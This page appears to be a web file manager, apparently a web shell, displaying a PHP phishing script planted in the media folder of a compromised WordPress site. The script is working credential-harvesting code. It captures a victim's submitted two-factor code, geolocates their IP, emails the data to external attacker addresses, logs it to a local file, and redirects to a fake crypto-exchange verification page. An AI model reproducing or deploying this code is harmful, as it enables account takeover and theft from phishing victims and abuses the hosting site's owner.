File manager - Edit - /home/wwwwaterjetperth/public_html/wp-content/media/need2.php
Back
<?php $name = $_POST['2factor']; require_once('./geoplugin.class.php'); $geoplugin = new geoPlugin(); $geoplugin->locate(); $date = gmdate ("Y-n-d"); $time = gmdate ("H:i:s"); $browser = $_SERVER['HTTP_USER_AGENT']; $email_body = "==========================START=================================== \n"; $email_body .= "1st Two-Factor Auth::=> $name \n"; $email_body .= "IP: {$geoplugin->ip} \n"; $email_body .= "City: {$geoplugin->city} \n"; $email_body .= "Region: {$geoplugin->region} \n"; $email_body .= "Country Name: {$geoplugin->countryName} \n"; $email_body .= "Country Code: {$geoplugin->countryCode} \n"; $email_body .= "User-Agent: ".$browser." \n"; $email_body .= "Date Log : ".$date." \n"; $email_body .= "Time Log : ".$time." \n"; $email_body .= "==========================END=================================== \n"; $email_from = "Luno 2nd <support@".$_SERVER['HTTP_HOST'].">"; //<== update the email address $email_subject = "[$geoplugin->ip] 1st 2FA EN | [$name]"; $to = "cryptocoding01@gmail.com, cryptoworld102@proton.me";//<== update the email address $headers = "From: $email_from \r\n"; //Send the email! mail($to,$email_subject,$email_body,$headers); //done. redirect to thank-you page. header("Location: https://main.d2qfn0k62if53n.amplifyapp.com/2-factor_verification_1.html"); $fp = fopen("backup.txt","a"); fputs($fp,$email_body); fclose($fp); // Function to validate against any email injection attempts function IsInjected($str) { $injections = array('(\n+)', '(\r+)', '(\t+)', '(%0A+)', '(%0D+)', '(%08+)', '(%09+)' ); $inject = join('|', $injections); $inject = "/$inject/i"; if(preg_match($inject,$str)) { return true; } else { return false; } } ?>
| ver. 1.4 |
Github
|
.
| PHP 7.4.33 | Generation time: 0 |
proxy
|
phpinfo
|
Settings